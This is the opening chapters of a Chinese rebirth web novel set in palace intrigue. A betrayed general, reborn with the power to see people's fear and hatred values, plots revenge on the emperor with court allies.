《什么,刷满仇恨值能当女帝》
1. 重生
中元夜,暴雨滂沱,竹林杀声如沸。
萧时运勉强别开身侧刀刃,反手捅穿对面的咽喉。雨水和着血淌下来,敌人的,她自己的,狼狈糊成泞然的壳。
她不确定这是她今天杀的第几个人,伤痛和怠倦沉甸甸撕扯着身体,追兵无穷无尽,血肉裹住刀刃的沉腻几乎让人厌烦疲倦。
更多的士兵涌出来,四面弓弦满张,将她逼入山穷水尽的绝境。
周秉文悠然骑马踱到她面前,垂耷的眼皮下透出称心快意的轻蔑:“萧时运,你逃不掉了。”
萧时运攥紧刀柄,强撑着扯出一个冷笑:“就算杀了我,萧家人还没死绝呢。皇上不会以为,他们会在边关坐以待毙吧?”
“你说这个吗?”他轻飘飘丢下一页纸,“的确是好谋划,可惜,他们看不到了。”
什么……
她看着雨水泡开字迹,泥污横覆,终于感觉到彻骨的阴冷与绝望。
“不过朕实在不明白。朕早说过,萧家的案子不会牵连你。”周秉文嗤笑一声,语气似有惋惜,“当朕的贵妃有什么不好的,你偏要自讨苦吃。”
从前他就觉得,萧家女虽然性子不讨喜,一张脸却美得凌厉强势,艳如孤日高悬,火光炙热。
能把这份轰轰烈烈的张扬收入掌中,他总是得意的。
为什么不能听话一点呢。
萧时运面无表情抹掉脸上的血水:“姓周的,你还真是比我想的更无耻。”
一年前她领兵平定漠北,没等来封侯拜将的赏赐,却在回京面圣时被狗皇帝算计入宫。紧接着她的兄长萧时遇巡营途中堕马,周秉文假意让兄长回京荣养,又污蔑他通敌叛国,逼得兄长自尽以证清白。
她困在深宫音讯断绝,直到圣驾携众妃往西洲园消暑,才趁行宫守卫松懈逃出来。
萧家镇守北关多年,周秉文没那么快吃下西北十万兵马,若能回去,她便有机会破局。
可恨天不垂怜,连这点希望都不愿意给她。
他们萧家世代簪缨,对宣朝忠心耿耿,最终只换来一个兔死狗烹。
真不甘心啊……
竟然输给这种畜生。
“既然你执意要给他们陪葬。”周秉文漫不经心抬手,语气漠然,“放箭。”
他也不缺一个不听话的宠物。
萧时运惊醒时,万箭穿心的剧痛犹在。恨意烧在胸腔,灼烈的痛苦几乎让她喘不过气。她盯着床架的雕花缓了片刻,忽见床帐微动。萧时运去摸枕边的刀,却听到一个熟悉的声音。
“小姐醒了?”
是她的丫鬟小桃。
萧时运看着眼前人怔愣片刻:“我们没死?”
都被射成刺猬了,还能捡回条命?周秉文什么时候这么仁慈了。
而且小桃头顶又是什么?
她揉了揉眼睛,确定自己没看错,眼前人头上的确飘着一黑一红两个零字。
小桃原本在拢床帐,冷不防听见萧时运的话,差点把帐子扯下来:“小姐你说什么呢!一大早也没个忌讳!”
她觑了眼自家小姐的脸色:“小姐是梦魇了?”
梦魇?
那这一年的噩梦未免太久了。
萧时运正要起身,余光瞥见进来的侍女,难以置信瞪大了眼睛:“青枝?”
她怎么会在这?
她不是为了掩护自己,死在追兵刀下了吗?
“小姐怎么这样看着我?”青枝困惑眨眨眼,转头问小桃,“我脸上有什么东西吗?”
青枝开口的瞬间,萧时运清晰看到,她头上也多了一黑一红两个零。
萧时运正要问,突然意识到了什么,抬手摸了摸自己的心口。
没有伤。
寝衣和床榻干净得连血腥气都没有。
她鏖战至竹林时已是强弩之末,怎么可能……
“我们现在到底在哪?”
地府吗?
“小姐莫不是睡糊涂了,这是郡邸呀。”青枝把铜盆端到她面前,水面照出她们的影子,却没有数字。
萧时运洗过脸,才坐到妆镜前,又听到青枝说:“宫里送来一件冠服,奴婢瞧着,似乎有些眼熟。”
她犹豫片刻,声音低了些。仿佛是昭惠皇后的。
姑姑?
萧时运呼吸一滞。
郡邸。入宫。旧衣。消失的伤口。死而复生的同伴。
她强压下翻涌的心绪,轻声问:“现在是哪一年?”
青枝困惑和小桃对视一眼,答道:“弘昌十三年呀,小姐怎么忽然问这个?”
弘昌十三年。
萧时运攥紧拳,指甲掐进掌心,刺痛分明,自己确实还活着。
她竟然回到了一年前。
听青枝的话,今天应该是她平定漠北后回京面圣的日子。
也是今天,她被周秉文下药强占,从缙州守将变成弘昌帝的萧贵妃,从此困居后宫,直至竹林惨死。
真是个好时候啊。她低低叹了一声,迎着侍女担忧的目光,终于还是忍不住,捂住脸大笑起来。
“小姐……”
“我没事。”她看着镜子里的自己,眼底恨意惨刻,“梳妆吧,不用管那件冠服。”
青枝迟疑开口:“皇上会怪罪吗?”
“我刚平定漠北,一件衣服而已,他不会计较的。”
她也不会给他机会计较。
上一世萧时运只觉得那衣服不合规制,全然没想到周秉文后来的龌龊心思。
活着的时候没多少真心,人走了,竟然想出这种下作手段温存旧梦。
真恶心。
她迟早阉了周秉文。
不过重生固然可贺,她却还有个问题要弄明白。
那两个数字到底是什么。
萧时遇观察了一早上,发现她和人说话时,对面头顶便会出现这两个数字。
而且还会变。
青枝看到墙缝里的蜈蚣时,头顶黑字变成了四十;而郡邸的下人打碎杯盏时,黑字变成了七十六。
只是她还没来得及深究,便有中使传召入宫。
萧时运也的确期待再见这位始作俑者。
既然上天让她重来一世。
她的命,萧时遇的命,萧家的血债。
周秉文,你可都要好好还回来啊。
萧时运跟着引路的内侍,再一次走过狭长的宫道,举目殿阁峥嵘,红墙轩峻,难免压得人自觉渺小,生出许多自轻自贱的敬惧。
若说上一次她还有得胜还朝的喜悦,如今故地重游,却只余厌恶。
和隐约一点暴戾的兴奋。
这皇位周秉文坐得,她又凭什么不能试一试呢。
重活一世,如果不能站最高的位置上,看一看无边权势的风光,也实在有负天恩。
除开头顶多了两个数字,御座上那人还是她熟
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悉的样子。弘昌帝二十一岁登基,时年三十有四,过了意气风发少年时,却还谈不上衰老,君威浩荡塑成不容冒犯的金身,全然道貌岸然的雍容。
若非窥过内里腐朽溃烂的壳,她大概也会和众人一道山呼万岁,心甘情愿叩跪圣明英主。
周秉文讲过几句场面话,又状似无意的问起那件冠服。
老东西还真是不要脸。萧时运心底骂了一句,面上依然不动声色:“那是昭惠皇后的遗物,臣不敢冒犯。”
弘昌帝似乎没料到她的直白,盯着她看了片刻,若无其事别开话题:“窈娘从前最疼你,此番你横戈跃马荡平边患,若她泉下有知,也会欣慰。”
萧时运:……
不愧是皇帝,每当她以为周秉文已经足够无耻的时候,他总是能再度跌破下限。
一点插曲平息,余下的事皆与前世无异。褒赏事毕,弘昌帝令内侍领她到青云阁暂歇,待宫宴开始。
前世她就是在这里,喝下那杯断送她一生的茶。
如今还是那个低眉顺眼的小太监,语气恭谨,连腰弯得都比旁人低些。讲。萧将军请喝茶。
她记得他呢,前世靠着给她下药讨好周秉文进内侍监做了随堂太监,后来污蔑萧家通敌叛国的时候,也格外卖力。
当真是周秉文的一条好狗。
萧时运看了看他头顶的数字。
七十三,零。
是她目前看到最高的数值。
有意思。
她敷衍摆摆手:“放这吧。”
小太监见她没有喝的意思,犹豫片刻,道:“这是暹南国的贡品,皇上特意吩咐,请将军尝尝。”
萧时运盯着他头上慢慢增加的数字,散漫笑了笑:“我现在不渴,赏你了。”
小太监扑通一声跪下来:“奴才不敢。”
她饶有兴趣挑眉:“一盏茶而已,这里又没有旁人,有什么不敢的?”
小太监强压下心底的恐惧,硬着头皮道:“将军,这……这不合规矩。”
“规矩?”她嗤笑一声,“那你觉得,是规矩重要,还是命更重要?”
萧时运讲完这句话,浮在空中的黑字径直跳到了一百,而小太监趴在原地,浑身筛糠一般颤抖着,止不住磕头求饶。
果然。
黑色数字是恐惧值。当事人越害怕,数值就越高。
这算什么,重生的额外福利吗?
她笑眯眯敲了敲桌子,止住小太监的动作:“康公公选吧,喝茶,还是死。”
千钧万钧的威慑压下来,几乎碾碎他的骨头。小康子张了张口,仿佛还想做最后的挣扎,却听见眼前人讲。
“我想,皇上应该会很好奇,你是怎么帮贤妃害李美人小产,又嫁祸给婉婕妤的,对吧?”
她怎么会知道!
小康子在萧时运沾着血腥气的笑里终于意识到,自己选错了垫脚石。
他真的会死。
“奴才……奴才……”他看着那碗茶,仿佛看着什么追魂索命的毒药,最终横下心,端起杯子一饮而尽。
萧时运却仿佛失了兴趣,仰身靠在圈椅里,语气漠然挑破他的心思:“康公公是不是在赌,青云阁到君行殿不远,足够你在药效发作前回完话,再找个借口躲起来?”
她瞥了眼小康子惨白的面色,漫不经心道:“那就快去吧,记得说点皇帝爱听的。”
她可等着周秉文呢。
2. 意外
萧时运把蜡烛重新按回烛台,想,青云阁是个很妙的地方。
此处依湖所建,一楼斗拱高架,四面通透,转过楼梯上到二层,又见重帘低垂,原想做香灯半卷流苏帐的欲说还休,可若被有心人利用,却也……
格外适合偷袭。
还抓不到人的那种。
她有绝对的把握,在这里杀了周秉文。
只可惜她不能。
皇帝骤然崩逝,太子未立,到时候朝局动荡多方争权,她在京城根基浅,占不到什么便宜,白白为他人做嫁衣。
要是时间再早两个月就好了,她尚在缙州,能做更多谋划。
事已至此,先讨点利息吧。
比如让周秉文从楼梯上摔下去。
这么高的台阶掉下去,可是很容易摔断腿的。
且有周秉文为了行事方便,自然也不会带随从,怕是得熬好一会儿呢。
至于她?她只要看热闹就好了。
周秉文自己不小心,和她有什么关系。
她一个中了药浑身发软的弱女子,怎么有力气来救驾呢。
更没有精力把蜡烛涂在楼梯上,对吧。
说来也是他自找的,如果狗皇帝随便选个厢房,她还真不好动手。
可他偏要挑青云阁的二楼。
他和姑姑初见的地方。
呸。
恶心两个字,她真的已经说倦了。
她的确从小就被说长得像姑姑,后来提枪上阵,更是被夸不输姑姑当年列阵挽戈的风姿。
可那又怎样呢?
名扬边塞的萧四娘在深宫郁郁而终,而她前世也折戟荒林,身败名裂。
凭什么她们只能满衣血泪抱恨终天,而那个高高在上的始作俑者却能坐拥千秋功业,享万世永昌。
萧时运在窗侧等了约一刻,看到周秉文走进了青云阁。
然而她的期待并没有发生。
另一个人追进了青云阁。
如果她没看错,是鸾仪卫指挥使,楚庭。
怎么回事?
前世没这一出啊。
难道她没喝那杯茶,后续的事件走向也变了?
不行,楚庭在这的话,不仅能救下周秉文,还可能发现她的小动作。
真遗憾,让狗皇帝逃过一劫。
萧时运啧了一声,索性下楼应付两人。
她记得哪几阶有问题,稳住身形踩过去倒也不难。
“萧爱卿?”周秉文意外转过头,“你怎么……”
“臣有些头晕,想出去透透气。”
不知道是不是她的错觉,刚才楚庭看她的眼神似乎带着点莫名其妙的……担忧?
然而萧时运和他对视时,却只撞见一片无动于衷的漠然。
楚庭平静与她见礼,讲。见过萧将军。
她一瞬间愣在原地。
欸不是,兄弟,你头顶什么鬼啊。
恐惧值暂且不提,这个鲜红的一百是怎么回事?
血淋淋的红字浮在指挥使大人的头顶,她几乎能闻到血腥气。
不过楚指挥使长得倒很好看,身姿高挑,眉眼潋滟,一身乌沉沉的鸦青袍服也压不住乱红绮绣的稠艳,可惜杀气太重,看人时总带着点阴恻恻的冷意。
萧时运和楚庭交集不多,只知道这人颇得周秉文宠信,一年前升鸾仪卫指挥使,暂理诏狱侦缉刑事。
简而言之,朝廷的黑手套,见习活阎王,京城闻名,能止小儿夜啼的那种。
鸾仪卫属上直十二卫,是负责护卫长安宫的禁军,之前在君行殿他们打过照面,不过没搭话之前,萧时运实在想不到他头顶的数字这么精彩。
这是她见到的第一个,红字不是零的人。
难道人越狠红字数值越高?
萧时运看了眼周秉文,否定了这个猜测。
那狗皇帝可不该是零。
周秉文虽惊讶萧时运此刻意识尚且清醒,语气却听不出什么破绽:“萧爱卿若不舒服,还是留在青云阁歇息吧,一会儿也不必强撑去宫宴。”
“多谢皇上关心,臣无碍。”
周秉文似乎还有事,并未再与她纠缠,而楚庭跟他离开时,头顶的红字降了一点。
但不多。
还是很刺眼。
大约又过了两刻,有宫人请她往揽月楼赴宴。
揽月楼在青云阁西南,是禁宫内能够眺望整个长安城的高点,太宗时便常在此设宴赏乐。前世拜周秉文所赐,萧时运全然错过了这场为她设的洗尘宴,而此刻她看着席间的歌舞升平,想。
果然很无聊。
早知道找个借口提前出宫了。
席上除了她和周秉文,还有丽妃和贤妃作陪。
她和丽妃算是旧识,最早她还没跟父兄去边关,姑姑常召她入宫。那时候丽妃和姑姑交好,对她也不错。
至于贤妃……估计只是顺手带过来的。
老端水大师了。
自昭惠皇后崩逝,周秉文一直未立新后。如今后宫贤妃和丽妃分庭抗礼,贤妃胜在家室,而丽妃更擅长讨皇帝开心。两个人明争暗斗多年,新仇旧怨层层叠叠沤成面目全非的狠戾,却一直未分出胜负。
不过按照前世的发展,丽妃快要赢了。
弘昌十四年夏,丽妃用王美人小产一事把贤妃送进冷宫,还顺便查出来她勾结康公公谋害李美人玉昭仪嫁祸婉婕妤等一堆旧账。
萧时运起身与丽妃举杯,对面笑盈盈应下。
前世在宫里那一年丽妃对她多有照顾,她能逃出宫,还多亏丽妃帮她拖住皇帝。
也不知道自己最后有没有拖累她。
不等萧时运感慨,丽妃头顶红字忽然变了。
八十七。
贤妃在和丽妃搭话。
笑里藏刀的娇媚,明褒暗讽。而贤妃头顶的红字,也变成了六十三。
萧时运盯着那两个数字看了一会儿,想。是仇恨值?
除了恨,她实在想不到,她们还有什么感情能达到这个数字。
反正从最后丽妃在冷宫对贤妃的折磨来看,很难说不是血海深仇。
如果是恐惧和仇恨,倒也说得通了。
看到蜈蚣,打碎杯盏,至于被她威胁,都不过是一瞬间的本能反应。人会害怕很多东西,恨却往往专一而纯粹。
多亏了周秉文的端水,不然她还没这么容易发现。
要是能看到自己的数字就好了。萧时运瞥了眼杯盏里水光清亮
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的影。估计她对周秉文的恨,和楚指挥使不遑多让。
欸等等。
楚庭恨周秉文?
负责皇帝安保护卫的鸾仪卫指挥使,恨皇上?
她好像发现了什么不得了的事。
楚大人你不争气啊!这么好的机会你抓不住!
恨有什么用,你杀他啊!
腹诽归腹诽。萧时运一时却也不敢轻下论断。
周秉文不至于蠢到把一条随时能咬断自己脖子的狗放在身边。
可当时青云阁只有他们三个人,她和楚庭今日是初见,他没道理对她有这么强的恨意。
还是楚庭和周秉文提到了什么?
但前世这个时间点上,也没发生什么值得缇骑司劳神的大案。
真可惜楚大人这会儿不在,不然她还能再确认一下。
宫宴快结束时,周秉文贼心不死,又想留她去会真馆赏画。萧时运心下厌烦,只得再找借口推脱,丽妃大概也看出什么,帮她打了圆场,还让自己的大宫女送她出宫。
两人方从揽月楼出来,却见枕霞湖边围了几个人。萧时运好奇叫住一个小太监,问,这是怎么了?
那人觑了眼萧时运的服秩,惶然道:“回贵人的话,尚膳司的小康子失足跌进水里,已经……已经没气了。”
小康子死了?
萧时运颇为意外地打量着白布下隐约透出的轮廓。想。他不是应该活到明年初夏,才因贤妃案被杖杀吗?
算了,死了也好,省得她再费心思灭口。
毕竟从她逼迫小康子喝下那杯茶开始,这一世的走向,已经跟前世截然不同。
但总感觉怪怪的。
无论尚膳司还是君行殿,都和枕霞湖在相反的方向,小康子怎么会跑到这里来?
萧时运压下心底的疑惑,过游廊穿至宫道,给了宫女一锭赏银,说:“前面就是宫门,你回去吧,替我谢丽娘娘好意。”
宫女谢恩离开,萧时运盯着她的背影看了一会儿,余光忽然瞥见一个熟悉的身影。
楚庭?
她看着指挥使大人匆匆穿过角门,不由皱眉。
如果她没记错,那个方向是后妃居住的区域,而鸾仪卫的活动范围在皇帝上朝的太极殿,和平日处理奏折接见大臣的长安宫。
虽说禁军是负责宫城的日常巡逻,可侍卫巡守皆有班次,他一个人去后宫干什么?
萧时运悄悄跟着楚指挥使,眼看一路愈发僻静,甚至隐隐显出荒置的破敝,更觉可疑。
这里似乎是冷宫附近。
宫人一向嫌此处晦气不愿靠近,除开犯了大错的宫人,以及前世丽妃那种来寻仇的,很少有人主动来这里。
萧时运略打量了一下四周的环境,回过神,突然发现楚庭不见了。
坏了,跟丢了。
她竟然会犯这种低级错误。
这事可不能被萧时遇知道,不然他得笑到她八十岁。
不等萧时运懊恼,忽觉身后霜锋凌厉,她侧身避开杀招,若无其事笑道:“楚大人身手不错啊。”
可惜今日入宫不能佩刀,不然真想和楚指挥使过几招。
楚庭戒备看着眼前人,语气冰冷:“萧将军在这里做什么?”
3. 结盟
“我迷路了。”萧时运眨眨眼,全然的无辜和坦荡,“楚指挥使能不能带我出宫?”
楚庭:“……”
他和眼前人相持片刻,冷哼一声收了刀:“不想死的话,就快点滚回缙州。”
萧时运闻言挑眉:“楚大人这是在关心我?”
真有意思,诏狱的腐肉也会滋养出良心吗?
她贴近楚庭,在楚指挥使再次拔刀之前,笑盈盈握住他的手腕:“可我为什么要走?”
萧时运的瞳色比一般人深许多,此刻直直盯着楚庭,便愈发显出墨色深邃的愉悦与残忍。
作为缇骑司的刽子手,楚庭自然清楚这代表什么。
猎人狩猎到心仪猎物时本能的兴奋。
和暴虐。
“看腻了大漠孤烟,我也想试试京城的天家富贵呢。”
他下意识想推开身前人,对面却抢先一步,得寸进尺勾了他的脖子,附耳轻笑道:“侍奉仇人的感觉,很痛苦吧?”
“萧时运!”楚庭猛然挣开她的桎梏,眼底杀意凛然,“你这条舌头,是不想要了?”
她若无其事理了理衣袖,全然云淡风轻的从容:“我不过实话实说。”
“楚大人恨皇帝,不是吗?”
萧时运看着他头顶变化的数字,想。戳中心事了呀。
“别误会,我没有拿楚指挥使表忠心的兴趣。只是有桩交易想和大人谈。”她瞥了眼身侧破败的宫门,“明晚我会来找楚大人。”
她再度凑近眼前人,字句轻缓缱绻:“还请大人给我留扇窗。”
在楚庭反应过来之前,萧时运轻巧退开,笑:“多谢楚指挥使今日相助,在下告辞。”
很多人怕楚庭,毕竟他现在佥诏狱事,血腥气重的吓人。
萧时运倒不在乎。
她在战场上见过的死人,可比这个上不得台面的谳狱鹰犬多多了。
而且在楚庭劝她回缙州时,萧时运突然有了一个荒诞的猜测。
楚庭出现在青云阁,是为了拦住周秉文。
他知道接下来会发生什么。
既然她能重生,楚庭自然也可以。前世从她入宫到死亡不过一年,萧时运不知道楚庭最后的结局,但她记得另一件事。
萧时遇出事后,负责审理此案的楚指挥使上书替兄长辩护,挨了周秉文训斥,案子也从缇骑司移送刑部。
而且七月十四出逃时,她就感觉有点不对劲。她借纵火脱身,偏巧行宫巡守的侍卫也缺了一班。
调开侍卫对楚庭来说并不难,可他为什么会帮她?
直到回郡邸,萧时运也没想明白原因。
她确定她和楚庭今日是初见,没有什么阴差阳错的狗血纠葛。
楚庭替周秉文监视百官清除异己,向来行事惨刻手段暴戾,显然也不太可能有什么助人为乐的善心。
真奇怪。
不过楚庭如果能站在她这边,事情会好办很多。
萧时运解下束冠,和镜子里的自己对视片刻,慢慢勾起嘴角。
事关重大,她还是得好好试一试楚大人的心思。
半夜,楚宅。
萧时运翻进楚庭院子时,差点笑出声来。
楚指挥使还真开了窗。
然后她推门探头:“楚大人?”
毕竟下人都遣出去了,她翻窗干什么。
楚庭半倚在榻边,见人进来,眼皮都懒得抬一下,萧时运顺手关了窗,开门见山问:“你今天为什么去青云阁?”
楚庭依然是初见时那副无动于衷的漠然:“与你无关。”
“怎么会与我无关呢?”她在楚庭对侧坐下,自顾自倒了杯茶,“楚大人既然帮了我,我总要弄清楚自己的恩人究竟是无心插柳,还是良心未泯,才好分别言谢。”
他闻言迟疑抬眼:“你知道……”
她截住楚庭的话,又笑:“这是康公公说得暹南茶吧,的确味道轻些。”
楚庭:……
“再说这些没用的废话,我不介意把你送回你该去的地方。”
“我该去的地方?”她若有所思地支着下巴,“楚大人是说青云阁,长乐宫,还是……西洲园?”
讲到最后时,楚庭听出她话里若隐若现的杀意。
他沉默片刻,移开视线,声音低了些:“既然你都知道,为什么还想留在京城。”
“楚大人觉得我该逃吗?”萧时运笑起来,恨意鲜明的暴戾与艳冶,“我不知道楚指挥使为什么愿意帮我,但很显然,我和楚大人不是一类人。”
她的视线停在楚庭头顶的数字上,笑:“楚大人在害怕呢。”
“我实在好奇。”萧时运忽然欺身抓住他的手腕,强迫他转过头和她对视,字句轻缓,“楚大人占着鸾仪卫指挥使的天时地利,又对皇上恨的刻骨铭心,为什么,不敢反呢?”
楚庭怔愣半晌,猛然推开她:“够了!”
他下意识攥紧刀柄,指节因为过度用力泛出青白:“萧时运,你知道你在说什么吗!”
“楚大人当然可以不承认。”她抬起手,云淡风轻点了点他的衣襟,“可你能骗得了自己的心吗?”
烛火缄默照着两人的剑拔弩张,飘摇间爆开细簌的烛花,他们相持片刻,萧时运却忽然兴致缺缺卸了力:“罢了,就当我今夜没有来过。”
“你……”
“我以为楚大人重活一世,总归该有些血债血偿的执念。”萧时运低眼理了理衣襟,语气冷淡,“可楚大人连自己的心都不敢面对,没得让我浪费时间。”
这样优柔寡断的懦弱,也不值得做对手。
直接杀了吧,反正她今日带刀了。
萧时运这样想着,手握住袖剑,却听到楚庭问:“什么重活一世。”
啊?
“你没重生?”
她震惊回身,却见楚庭的茫然不似伪装。
“那你怎么会知道弘昌十四年的事?”
楚庭敛眸静了半晌,轻声道:“在你入宫的前夜,我好像……做了一个梦。”
“镇西侯长女缙州指挥使萧时运回京面圣,被皇帝骗去了青云阁,然后……你成了他的贵妃。”他顿了一下,字句艰涩,“我知道青云阁会发生什么,但我什么都没有做。西洲园我放你走,却没想到害你死在竹林。”
萧时运疑惑看着他:“所以你帮我,是因为……愧疚?”
总感觉楚庭不像这么有良心的人啊。
他避开她的视线,讲,算是吧。
“你逃出西洲园之前,我从来没有想过,有人敢反抗周秉文。”
他记得萧时运临死前的眼神,无惧无畏,炽热蓬勃,划过心脏时,有烧灼一般的刺痛。
楚庭从来没有见过那样耀眼的决绝。
哪怕鲜血淋漓,万劫不复。
“你做了我不敢做的事,我不想你重蹈覆辙。”
她不该是这样的结局。
楚庭讲得认真,萧时运重点却在另一个地方。
——她在前世实打实尸山血海杀到绝境,对楚庭来说,只是个梦?
萧时运:我有一句脏话我一定要讲。
去他爹的。
算了,不生气,不生气,左右也算是有了个还算好用的帮手。
“楚大人对皇帝的恨,才是你帮我的真正原因吧。”萧时运懒散倚回矮榻,轻飘飘点破他的心事,“楚指挥使不想说也无妨,我只问你一句话。”
“楚大人究竟愿不愿意帮我。”
“帮你……”楚庭迟疑看她,“你要反?”
萧时运笑眯眯点头。
“然后呢?”
“当皇帝呀。”她无辜眨眨眼,给两人各倒了一杯茶,“难道我出生入死忙活半天,就为了跪在另一个狗东西面前谢主隆恩?”
萧时运:皇帝这东西多好啊,你不想当吗,反正我想(。
楚庭闭嘴了。
他确实不该问这种蠢问题。
楚指挥使看着萧时运递过来的杯子沉默半晌,突然笑起来:“找盟友找到缇骑司来,萧时运,你胆子还真不小。”
他没有接那盏茶,只问。为什么是我。
萧时运看着他头顶殷红的数字,也笑:“因为整个皇宫,楚指挥使最恨皇帝。”
“我看得到楚大人的恨。”她随手把杯盏放在一边,“但楚大人不愿提,我也不会多问。”
她没有兴趣听那
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些冗赘无聊的倾诉,只要能把这份恨变成捅向周秉文的刀,就足够了。
屋内烛火一霎的昏晃,萧时运起身拨了拨烛芯,缄寂熔成轻细的尘烬,她听到楚庭讲。我可以帮你。
她于是笑。合作愉快。
第二日一早,又有人给她递了帖子。
沈平川,前科探花,时任翰林院编修,也算她在京城的故交。
萧时运看着拜帖想。她还没找他算账,狗东西倒是自己送上门来了。
“萧将军,好久不见。”
来人姿制闲美,风神明秀,眉目垂顺与她见礼,仿佛真是什么新竹青葳的正人君子,容止可观。
上一世他就是靠着这副平湛温润的伪装骗过她,也骗过了兄长。
而萧时运确认过他头上的数字,才把手从刀上拿开。
很好,他没有前世的记忆。
自从得知楚庭也看过上一世的结局,她对这些关键人物,难免多几分怀疑。
特别是沈平川。
毕竟她当初纵火时,顺手烧死了沈大人。
谁让沈平川因为清算萧家有功,得弘昌帝宠信,留宿西洲园呢。
如果他知道自己的结局,估计现在该恨死她了吧。
“沈翰林找我有事?”
沈平川闻言笑起来:“你我相知多年,无事便不能相邀了吗?”
萧时运毫不留情翻了个白眼:“有话直说。”
沈平川冷不防被噎了一下,看着眼前人犹豫半晌,终于下定决心,正色道:“在下倾慕将军已久,如今边陲安定,不知将军……”
啊?
什么玩意?
沈平川想娶她?
她没进宫的未来这么癫吗?
萧时运干净利落打断他的话:“我拒绝。”
前世就是他配合周秉文伪造证据污蔑兄长,又进言对萧家赶尽杀绝以除后患。
这种人的真心剖出来,怕是上秤都要倒贴钱。
她面无表情看着眼前的故交、日后的死敌,语气平直:“沈平川,你究竟是想娶我,还是惦记镇西侯府的权势能帮你在朝中更进一步?”
沈翰林听见这话却也不恼,只慢慢叹了口气,似无奈又似宽宥:“将军说笑了,我要萧家的权势做什么。”
做什么?
还真是个值得思量的好问题。
萧家在先帝平定漠北九镇时以军功获封镇西侯,这些年久在边关,为避嫌疑,和京城的联系一直不算密切。沈平川若想为仕途寻个助力,她并不是最好的人选。
总不能是重活一世,这人突然改邪归正转了性吧。
算了,信这小子是恋爱脑不如信她是秦始皇。
而且他们也没熟到这个程度吧。
“我不知沈翰林有什么谋划。”萧时运起身,“但是我的确无心情爱。”
她似是想起什么,忽然倾身凑近沈平川,若无其事勾了他腰间的双鲤玉佩:“这玉成色不错,沈大人从哪里得来的?”
萧时运贴得太近,沈平川下意识别开脸,却听到她又笑。
沈大人若真想与我合作,可以另议价码。
敷衍走了沈平川,萧时运心不在焉玩着方才顺来玉佩,想。沈翰林又能给她带来什么惊喜呢?
她没打算跟沈平川结盟。不过事出蹊跷,钓一下总归没什么坏处。
一切才刚刚开始,即使她想报仇,也没必要急着和沈平川翻脸。
“你很喜欢这玉佩?”
萧时运看楚庭进来,没理会他的阴阳怪气,只笑:“楚大人都听见了?”
这小子在院子蹲了有一会儿了。
鸾仪卫工作不饱和啊,堂堂指挥使大人,竟然有空在这听别人墙角。
“为什么不答应沈平川?只要你未曾婚配,皇上依然随时可能对你下手。”
“难道嫁了人他就会放过我吗?”萧时运疑惑瞥他一眼,“我不记得周秉文什么时候这么有道德了。”
他又不是没抢过别人老婆。
楚庭:……
她有些意外地看着楚指挥使头顶闪烁的红字,思量片刻,难得收敛了戏谑:“楚大人放心吧,会有人帮我们拦着周秉文的。”
4. 暗涌
“丽妃?”轻蔑鱼一样游过楚庭眼底,“一个贤妃尚且斗得艰难,你指望她去拦周秉文?”
“她是拦不住。”萧时运懒洋洋支着下巴,没计较楚指挥使的态度,“但昭惠皇后可以。”
她漫不经心丢开手里的玉佩:“楚大人忘了前世的流言了吗?”
虽说昭惠皇后逝世多年,但姑侄同嫁一夫到底不光彩,周秉文不愿惹色令智昏的非议,于是想出来这么个龌龊法子。
——既然皇帝没错,脏水就只好泼在她身上了。
上一世至宫宴开始,萧时运和周秉文皆未出现,直到半个时辰后,周秉文以身体不适为由,让萧家女留宿内宫。
是以第二日封妃的旨意还没下来,她蓄意勾丨引魅惑君上的流言就传遍宫城,连前朝都知道了。
没有周秉文的授意,内廷有几个脑袋砍,敢把这种消息放给外臣。
楚庭静静注视着眼前人,他以为会在那张漂亮得几乎惊心动魄的脸上看到恨,厌恶,或者怨毒,浓稠凄厉,一如诏狱那些声嘶力竭的冤仇。
然而萧时运若有所思垂眼,却是全然的平静与从容。
他实在意外。
燕然勒功威震漠北的一代名将,怎么可能容忍这样卑劣的诋毁。
“前世那么多血海深仇,这点小事,还不值得我劳神。”萧时运似是看出他的疑惑,云淡风轻喝了口茶,“也多亏周秉文的虚伪,至少我现在不用太担心宫里突然来一道封妃的旨意。”
姓周的要脸啊。
可既要又要的下场,往往是。
什么都得不到。
“不过昨日周秉文虽有恤赏,却没提赐勋的事,怕还是贼心不死,想算计我入宫呢。”萧时运唇边勾起一点刻薄的嘲讽,“我虽有心成全他,却需要楚大人帮个小忙。”
她抬手,轻轻点了点楚指挥使腰间缇骑司的符牌,笑得明艳动人,不可方物。
“皇上如此深情,我这个做臣子的,又怎么舍得让他只对着替身伤怀,痴心错付呢。”
夜晚,承明宫。
昭阳殿一室珠玉璀璨,画帘织金绣彩,罗慕半垂。此刻宫女皆被遣出内室,榻边人妆饰卸尽,只斜插一支素簪松挽发髻,依然是春风拂槛露华浓的妩媚雍容。
有人轻巧推门,丽妃将绣棚搁在一边,起身往炉内添了些香:“数年未见,想不到萧将军不仅能杀敌平寇建功漠北,连这深宫禁苑都能来去自如,本宫当真佩服。”
萧时运毫不见外地拿了块糕点吃,清甜可口,香而不腻,也算上一世宫里为数不多值得怀念的东西。
丽妃耐心等她吃完,又喝过茶,才道:“萧将军的提议确实诱人。可我想不通,将军为什么要帮我?”
萧时运让送她出宫的宫女给丽妃带了句话。
我可以助娘娘击败贤妃。
彼时她的宫女满心惊疑,丽妃却想,萧行歌这个侄女可真是有意思。
一个久居边关的武将,连宫妃品阶都未必理得明白,竟然说,要帮她斗贤妃。
她看着眼前人,轻巧止住她的话,唇边笑意嫣然:“让我猜猜,你不想入宫,对吧?”
萧时运动作顿了一下,也笑:“娘娘喜欢这皇宫吗?”
丽妃沉默片刻,道:“我知道皇帝的心思,若他真提起此事,我可以帮你进言劝阻。”
她常伴御侧,自然察觉到周秉文看向萧时运时,眼底晦涩的欲丨望。
萧家女今年二十一岁,换位思考,丽妃也不想嫁给一个比自己大十几岁的老男人。
更何况君心凉薄,抛开帝王的权势,她实在不觉得周秉文有什么值得倾心的地方。
丽妃想到这里,忍不住叹了口气:“但你要知道,皇帝若执意要你入宫,没有人能让他回心转意。”
她们并没有什么挣扎的余地。
“您并不需要为我做太多。”萧时运递给她一小包粉末,“下次周秉文留宿昭阳殿,把这个添到香炉里。”
丽妃没有接那东西,只迟疑问:“你究竟想干什么?”
萧时运盈盈凑近眼前的宫妃,在对面反应过来之前,顺势握住她的手。薄薄一方纸贴在两人掌心,丽妃听到萧时运笑:“丽娘娘别害怕,这只是臣对皇上一点心意。”
“臣不会损伤龙体,更不会置您于大逆不道的死罪。”她迎着丽妃警惕的目光,字句轻缓,“您去查查李美人宫里的小印子,会有线索的。”
“不过得快点,要是贤妃抢先灭了口,事情就不好办了。”
